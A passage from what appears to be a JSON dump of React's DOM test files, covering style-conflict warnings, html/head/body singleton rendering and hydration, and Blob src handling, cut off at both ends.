style={{borderStyle: 'dotted', borderLeft: '1px solid red'}} />,\n      );\n    });\n    await act(() => {\n      root.render(<div style={{borderLeft: '1px solid red'}} />);\n    });\n    assertConsoleErrorDev([\n      'Removing a style property during rerender (borderStyle) ' +\n        'when a conflicting property is set (borderLeft) can lead to ' +\n        \"styling bugs. To avoid this, don't mix shorthand and \" +\n        'non-shorthand properties for the same value; instead, replace the ' +\n        'shorthand with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n    await act(() => {\n      root.render(\n        <div style={{borderStyle: 'dashed', borderLeft: '1px solid red'}} />,\n      );\n    });\n    assertConsoleErrorDev([\n      'Updating a style property during rerender (borderStyle) ' +\n        'when a conflicting property is set (borderLeft) can lead to ' +\n        \"styling bugs. To avoid this, don't mix shorthand and \" +\n        'non-shorthand properties for the same value; instead, replace the ' +\n        'shorthand with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n    // But setting them  at the same time is OK:\n    await act(() => {\n      root.render(\n        <div style={{borderStyle: 'dotted', borderLeft: '2px solid red'}} />,\n      );\n    });\n    await act(() => {\n      root.render(<div style={{borderStyle: 'dotted'}} />);\n    });\n    assertConsoleErrorDev([\n      'Removing a style property during rerender (borderLeft) ' +\n        'when a conflicting property is set (borderStyle) can lead to ' +\n        \"styling bugs. To avoid this, don't mix shorthand and \" +\n        'non-shorthand properties for the same value; instead, replace the ' +\n        'shorthand with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSingletonComponents-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet JSDOM;\nlet Stream;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMFizzServer;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\nlet waitForAll;\nlet assertConsoleErrorDev;\n\nfunction normalizeError(msg) {\n  // Take the first sentence to make it easier to assert on.\n  const idx = msg.indexOf('.');\n  if (idx > -1) {\n    return msg.slice(0, idx + 1);\n  }\n  return msg;\n}\n\ndescribe('ReactDOM HostSingleton', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n  });\n\n  async function actIntoEmptyDocument(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n\n    const bufferedContent = buffer;\n    buffer = '';\n\n    const jsdom = new JSDOM(bufferedContent, {\n      runScripts: 'dangerously',\n    });\n    document = jsdom.window.document;\n    container = document;\n  }\n\n  function getVisibleChildren(element) {\n    const children = [];\n    let node = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        const el: Element = (node: any);\n        if (\n          (el.tagName !== 'SCRIPT' &&\n            el.tagName !== 'TEMPLATE' &&\n            el.tagName !== 'template' &&\n            !el.hasAttribute('hidden') &&\n            !el.hasAttribute('aria-hidden') &&\n            // Ignore the render blocking expect\n            (node.getAttribute('rel') !== 'expect' ||\n              node.getAttribute('blocking') !== 'render')) ||\n          el.hasAttribute('data-meaningful')\n        ) {\n          const props = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getVisibleChildren(node);\n          children.push(React.createElement(node.tagName.toLowerCase(), props));\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  it('warns if you render the same singleton twice at the same time', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <head lang=\"en\">\n          <title>Hello</title>\n        </head>\n        <body />\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head lang=\"en\">\n          <title>Hello</title>\n        </head>\n        <body />\n      </html>,\n    );\n    root.render(\n      <html>\n        <head lang=\"en\">\n          <title>Hello</title>\n        </head>\n        <head lang=\"es\" data-foo=\"foo\">\n          <title>Hola</title>\n        </head>\n        <body />\n      </html>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'You are mounting a new head component when a previous one has not first unmounted. ' +\n        'It is an error to render more than one head component at a time and attributes and ' +\n        'children of these components will likely fail in unpredictable ways. ' +\n        'Please only render a single instance of <head> and if you need to mount a new one, ' +\n        'ensure any previous ones have unmounted first.\\n' +\n        '    in head (at **)',\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head lang=\"es\" data-foo=\"foo\">\n          <title>Hola</title>\n          <title>Hello</title>\n        </head>\n        <body />\n      </html>,\n    );\n\n    root.render(\n      <html>\n        {null}\n        {null}\n        <head lang=\"fr\">\n          <title>Bonjour</title>\n        </head>\n        <body />\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head lang=\"fr\">\n          <title>Bonjour</title>\n        </head>\n        <body />\n      </html>,\n    );\n\n    root.render(\n      <html>\n        <head lang=\"en\">\n          <title>Hello</title>\n        </head>\n        <body />\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head lang=\"en\">\n          <title>Hello</title>\n        </head>\n        <body />\n      </html>,\n    );\n  });\n\n  it('renders into html, head, and body persistently so the node identities never change and extraneous styles are retained', async () => {\n    // Server render some html that will get replaced with a client render\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html data-foo=\"foo\">\n          <head data-bar=\"bar\">\n            <link rel=\"stylesheet\" href=\"resource\" />\n            <title>a server title</title>\n            <link rel=\"stylesheet\" href=\"3rdparty\" />\n            <link rel=\"stylesheet\" href=\"3rdparty2\" />\n          </head>\n          <body data-baz=\"baz\">\n            <div>hello world</div>\n            <style>\n              {`\n                body: {\n                  background-color: red;\n                }`}\n            </style>\n            <div>goodbye</div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-foo=\"foo\">\n        <head data-bar=\"bar\">\n          <title>a server title</title>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n        </head>\n        <body data-baz=\"baz\">\n          <div>hello world</div>\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n          <div>goodbye</div>\n        </body>\n      </html>,\n    );\n    const {documentElement, head, body} = document;\n    const persistentElements = [documentElement, head, body];\n\n    // Render into the document completely different html. Observe that styles\n    // are retained as are html, body, and head referential identities. Because this was\n    // server rendered and we are not hydrating we lose the semantic placement of the original\n    // head contents and everything gets preprended. In a future update we might emit an insertion\n    // edge from the server and make client rendering reslilient to interstitial placement\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html data-client-foo=\"foo\">\n        <head>\n          <title>a client title</title>\n        </head>\n        <body data-client-baz=\"baz\">\n          <div>hello client</div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    // Similar to Hydration we don't reset attributes on the instance itself even on a fresh render.\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-client-foo=\"foo\">\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n          <title>a client title</title>\n        </head>\n        <body data-client-baz=\"baz\">\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n          <div>hello client</div>\n        </body>\n      </html>,\n    );\n\n    // Render new children and assert they append in the correct locations\n    root.render(\n      <html data-client-foo=\"foo\">\n        <head>\n          <title>a client title</title>\n          <meta />\n        </head>\n        <body data-client-baz=\"baz\">\n          <p>hello client again</p>\n          <div>hello client</div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-client-foo=\"foo\">\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n          <title>a client title</title>\n          <meta />\n        </head>\n        <body data-client-baz=\"baz\">\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n          <p>hello client again</p>\n          <div>hello client</div>\n        </body>\n      </html>,\n    );\n\n    // Remove some children\n    root.render(\n      <html data-client-foo=\"foo\">\n        <head>\n          <title>a client title</title>\n        </head>\n        <body data-client-baz=\"baz\">\n          <p>hello client again</p>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-client-foo=\"foo\">\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n          <title>a client title</title>\n        </head>\n        <body data-client-baz=\"baz\">\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n          <p>hello client again</p>\n        </body>\n      </html>,\n    );\n\n    // Remove a persistent component\n    // @TODO figure out whether to clean up attributes. restoring them is likely\n    // not possible.\n    root.render(\n      <html data-client-foo=\"foo\">\n        <head>\n          <title>a client title</title>\n        </head>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-client-foo=\"foo\">\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n          <title>a client title</title>\n        </head>\n        <body>\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n        </body>\n      </html>,\n    );\n\n    // unmount the root\n    root.unmount();\n    await waitForAll([]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n        </head>\n        <body>\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n        </body>\n      </html>,\n    );\n\n    // Now let's hydrate the document with known mismatching content\n    // We assert that the identities of html, head, and body still haven't changed\n    // and that the embedded styles are still retained\n    const hydrationErrors = [];\n    let hydrateRoot = ReactDOMClient.hydrateRoot(\n      document,\n      <html data-client-foo=\"foo\">\n        <head>\n          <title>a client title</title>\n        </head>\n        <body data-client-baz=\"baz\">\n          <div>hello client</div>\n        </body>\n      </html>,\n      {\n        onRecoverableError(error, errorInfo) {\n          hydrationErrors.push([\n            normalizeError(error.message),\n            errorInfo.componentStack\n              ? errorInfo.componentStack.split('\\n')[1].trim()\n              : null,\n          ]);\n        },\n      },\n    );\n    await waitForAll([]);\n    expect(hydrationErrors).toEqual([\n      [\n        \"Hydration failed because the server rendered HTML didn't match the client.\",\n        'at div (<anonymous>)',\n      ],\n    ]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-client-foo=\"foo\">\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n          <title>a client title</title>\n        </head>\n        <body data-client-baz=\"baz\">\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n          <div>hello client</div>\n        </body>\n      </html>,\n    );\n\n    // Reset the tree\n    hydrationErrors.length = 0;\n    hydrateRoot.unmount();\n\n    // Now we try hydrating again with matching nodes and we ensure\n    // the retained styles are bound to the hydrated fibers\n    const link = document.querySelector('link[rel=\"stylesheet\"]');\n    const style = document.querySelector('style');\n    hydrateRoot = ReactDOMClient.hydrateRoot(\n      document,\n      <html data-client-foo=\"foo\">\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n        </head>\n        <body data-client-baz=\"baz\">\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n        </body>\n      </html>,\n      {\n        onRecoverableError(error, errorInfo) {\n          hydrationErrors.push([\n            error.message,\n            errorInfo.componentStack\n              ? errorInfo.componentStack.split('\\n')[1].trim()\n              : null,\n          ]);\n        },\n      },\n    );\n    expect(hydrationErrors).toEqual([]);\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\" +\n        '\\n' +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\nIt can also happen if the client has a browser extension installed ' +\n        'which messes with the HTML before React loaded.\\n' +\n        '\\n' +\n        'https://react.dev/link/hydration-mismatch\\n' +\n        '\\n' +\n        '  <html\\n' +\n        '+   data-client-foo=\"foo\"\\n' +\n        '-   data-client-foo={null}\\n' +\n        '  >\\n' +\n        '    <head>\\n' +\n        '    <body\\n' +\n        '+     data-client-baz=\"baz\"\\n' +\n        '-     data-client-baz={null}\\n' +\n        '    >\\n' +\n        '\\n    in body (at **)',\n    ]);\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect([link, style]).toEqual([\n      document.querySelector('link[rel=\"stylesheet\"]'),\n      document.querySelector('style'),\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"resource\" />\n          <link rel=\"stylesheet\" href=\"3rdparty\" />\n          <link rel=\"stylesheet\" href=\"3rdparty2\" />\n        </head>\n        <body>\n          <style>\n            {`\n                body: {\n                  background-color: red;\n                }`}\n          </style>\n        </body>\n      </html>,\n    );\n\n    // We unmount a final time and observe that still we retain our persistent nodes\n    // but they style contents which matched in hydration is removed\n    hydrateRoot.unmount();\n    expect(persistentElements).toEqual([\n      document.documentElement,\n      document.head,\n      document.body,\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  // This test is not supported in this implementation. If we reintroduce insertion edge we should revisit\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('is able to maintain insertions in head and body between tree-adjacent Nodes', async () => {\n    // Server render some html and hydrate on the client\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <head>\n            <title>title</title>\n          </head>\n          <body>\n            <div>hello</div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    const root = ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <head>\n          <title>title</title>\n        </head>\n        <body>\n          <div>hello</div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n\n    // We construct and insert some artificial stylesheets mimicing what a 3rd party script might do\n    // In the future we could hydrate with these already in the document but the rules are restrictive\n    // still so it would fail and fall back to client rendering\n    const [a, b, c, d, e, f, g, h] = 'abcdefgh'.split('').map(letter => {\n      const link = document.createElement('link');\n      link.rel = 'stylesheet';\n      link.href = letter;\n      return link;\n    });\n\n    const head = document.head;\n    const title = head.firstChild;\n    head.insertBefore(a, title);\n    head.insertBefore(b, title);\n    head.appendChild(c);\n    head.appendChild(d);\n\n    const bodyContent = document.body.firstChild;\n    const body = document.body;\n    body.insertBefore(e, bodyContent);\n    body.insertBefore(f, bodyContent);\n    body.appendChild(g);\n    body.appendChild(h);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"a\" />\n          <link rel=\"stylesheet\" href=\"b\" />\n          <title>title</title>\n          <link rel=\"stylesheet\" href=\"c\" />\n          <link rel=\"stylesheet\" href=\"d\" />\n        </head>\n        <body>\n          <link rel=\"stylesheet\" href=\"e\" />\n          <link rel=\"stylesheet\" href=\"f\" />\n          <div>hello</div>\n          <link rel=\"stylesheet\" href=\"g\" />\n          <link rel=\"stylesheet\" href=\"h\" />\n        </body>\n      </html>,\n    );\n\n    // Unmount head and change children of body\n    root.render(\n      <html>\n        {null}\n        <body>\n          <div>hello</div>\n          <div>world</div>\n        </body>\n      </html>,\n    );\n\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"a\" />\n          <link rel=\"stylesheet\" href=\"b\" />\n          <link rel=\"stylesheet\" href=\"c\" />\n          <link rel=\"stylesheet\" href=\"d\" />\n        </head>\n        <body>\n          <link rel=\"stylesheet\" href=\"e\" />\n          <link rel=\"stylesheet\" href=\"f\" />\n          <div>hello</div>\n          <div>world</div>\n          <link rel=\"stylesheet\" href=\"g\" />\n          <link rel=\"stylesheet\" href=\"h\" />\n        </body>\n      </html>,\n    );\n\n    // Mount new head and unmount body\n    root.render(\n      <html>\n        <head>\n          <title>a new title</title>\n        </head>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <title>a new title</title>\n          <link rel=\"stylesheet\" href=\"a\" />\n          <link rel=\"stylesheet\" href=\"b\" />\n          <link rel=\"stylesheet\" href=\"c\" />\n          <link rel=\"stylesheet\" href=\"d\" />\n        </head>\n        <body>\n          <link rel=\"stylesheet\" href=\"e\" />\n          <link rel=\"stylesheet\" href=\"f\" />\n          <link rel=\"stylesheet\" href=\"g\" />\n          <link rel=\"stylesheet\" href=\"h\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('clears persistent head and body when html is the container', async () => {\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"headbefore\" />\n            <title>this should be removed</title>\n            <link rel=\"stylesheet\" href=\"headafter\" />\n            <script data-meaningful=\"\">true</script>\n          </head>\n          <body>\n            <link rel=\"stylesheet\" href=\"bodybefore\" />\n            <div>this should be removed</div>\n            <link rel=\"stylesheet\" href=\"bodyafter\" />\n            <script data-meaningful=\"\">true</script>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    container = document.documentElement;\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(\n      <>\n        <head>\n          <title>something new</title>\n        </head>\n        <body>\n          <div>something new</div>\n        </body>\n      </>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"headbefore\" />\n          <link rel=\"stylesheet\" href=\"headafter\" />\n          <script data-meaningful=\"\">true</script>\n          <title>something new</title>\n        </head>\n        <body>\n          <link rel=\"stylesheet\" href=\"bodybefore\" />\n          <link rel=\"stylesheet\" href=\"bodyafter\" />\n          <script data-meaningful=\"\">true</script>\n          <div>something new</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('clears persistent head when it is the container', async () => {\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"before\" />\n            <title>this should be removed</title>\n            <link rel=\"stylesheet\" href=\"after\" />\n          </head>\n          <body />\n        </html>,\n      );\n      pipe(writable);\n    });\n    container = document.head;\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<title>something new</title>);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"before\" />\n          <link rel=\"stylesheet\" href=\"after\" />\n          <title>something new</title>\n        </head>\n        <body />\n      </html>,\n    );\n  });\n\n  it('clears persistent body when it is the container', async () => {\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <link rel=\"stylesheet\" href=\"before\" />\n            <div>this should be removed</div>\n            <link rel=\"stylesheet\" href=\"after\" />\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    container = document.body;\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>something new</div>);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <link rel=\"stylesheet\" href=\"before\" />\n          <link rel=\"stylesheet\" href=\"after\" />\n          <div>something new</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('renders single Text children into HostSingletons correctly', async () => {\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <head />\n          <body>foo</body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    let root = ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n\n    root.render(\n      <html>\n        <head />\n        <body>bar</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>bar</body>\n      </html>,\n    );\n\n    root.unmount();\n\n    root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <head />\n        <body>baz</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>baz</body>\n      </html>,\n    );\n  });\n\n  it('supports going from single text child to many children back to single text child in body', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n\n    root.render(\n      <html>\n        <head />\n        <body>\n          <div>foo</div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>foo</div>\n        </body>\n      </html>,\n    );\n\n    root.render(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n\n    root.render(\n      <html>\n        <head />\n        <body>\n          <div>foo</div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>foo</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('allows for hydrating without a head', async () => {\n    await actIntoEmptyDocument(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <body>foo</body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n\n    ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>foo</body>\n      </html>,\n    );\n  });\n\n  // https://github.com/facebook/react/issues/26128\n  // @gate !disableLegacyMode\n  it('(#26128) does not throw when rendering at body in legacy mode', async () => {\n    ReactDOM.render(<div />, document.body);\n  });\n\n  // https://github.com/facebook/react/issues/26128\n  // @gate !disableLegacyMode\n  it('(#26128) does not throw when rendering at <html> in legacy mode', async () => {\n    ReactDOM.render(<body />, document.documentElement);\n  });\n\n  // https://github.com/facebook/react/issues/26128\n  // @gate !disableLegacyMode\n  it('(#26128) does not throw when rendering at document in legacy mode', async () => {\n    ReactDOM.render(<html />, document);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSrcObject-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\n\ndescribe('ReactDOMSrcObject', () => {\n  let React;\n  let ReactDOMClient;\n  let ReactDOMFizzServer;\n  let act;\n  let container;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server.edge');\n    act = require('internal-test-utils').act;\n\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    jest.restoreAllMocks();\n  });\n\n  // @gate enableSrcObject\n  it('can render a Blob as an img src', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    const ref = React.createRef();\n\n    const blob = new Blob();\n    await act(() => {\n      root.render(<img src={blob} ref={ref} />);\n    });\n\n    expect(ref.current.src).toMatch(/^blob:/);\n  });\n\n  // @gate enableSrcObject\n  it('can render a Blob as a picture img src', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    const ref = React.createRef();\n\n    const blob = new Blob();\n    await act(() => {\n      root.render(\n        <picture>\n          <img src={blob} ref={ref} />\n        </picture>,\n      );\n    });\n\n    expect(ref.current.src).toMatch(/^blob:/);\n  });\n\n  // @gate enableSrcObject\n  it('can render a Blob as a video and audio src', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    const videoRef = React.createRef();\n    const audioRef = React.createRef();\n\n    const blob = new Blob();\n    await act(() => {\n      root.render(\n        <>\n          <video src={blob} ref={videoRef} />\n          <audio src={blob} ref={audioRef} />\n        </>,\n      );\n    });\n\n    expect(videoRef.current.src).toMatch(/^blob:/);\n    expect(audioRef.current.src).toMatch(/^blob:/);\n  });\n\n  // @gate enableSrcObject || !__DEV__\n  it('warn when rendering a Blob as a source src of a video, audio or picture element', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    const videoRef = React.createRef();\n    const audioRef = React.createRef();\n    const pictureRef = React.createRef();\n\n    const blob = new Blob();\n    await act(() => {\n      root.render(\n        <>\n          <video ref={videoRef}>\n            <source src={blob} />\n          </video>\n          <audio ref={audioRef}>\n            <source src={blob} />\n          </audio>\n          <picture ref={pictureRef}>\n            <source src={blob} />\n            <img />\n          </picture>\n        </>,\n      );\n    });\n\n    assertConsoleErrorDev([\n      'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +\n        'Pass it directly to <img src>, <video src> or <audio src> instead.' +\n        '\\n    in source (at **)',\n      'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +\n        'Pass it directly to <img src>, <video src> or <audio src> instead.' +\n        '\\n    in source (at **)',\n      'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +\n        'Pass it directly to <img src>, <video src> or <audio src> instead.' +\n        '\\n    in source (at **)',\n    ]);\n    expect(videoRef.current.firstChild.src).not.toMatch(/^blob:/);\n    expect(videoRef.current.firstChild.src).toContain('[object%20Blob]'); // toString:ed\n    expect(audioRef.current.firstChild.src).not.toMatch(/^blob:/);\n    expect(audioRef.current.firstChild.src).toContain('[object%20Blob]'); // toString:ed\n    expect(pictureRef.current.firstChild.src).not.toMatch(/^blob:/);\n    expect(pictureRef.current.firstChild.src).toContain('[object%20Blob]'); // toString:ed\n  });\n\n  async function readContent(stream) {\n    const reader = stream.getReader();\n    let content = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) 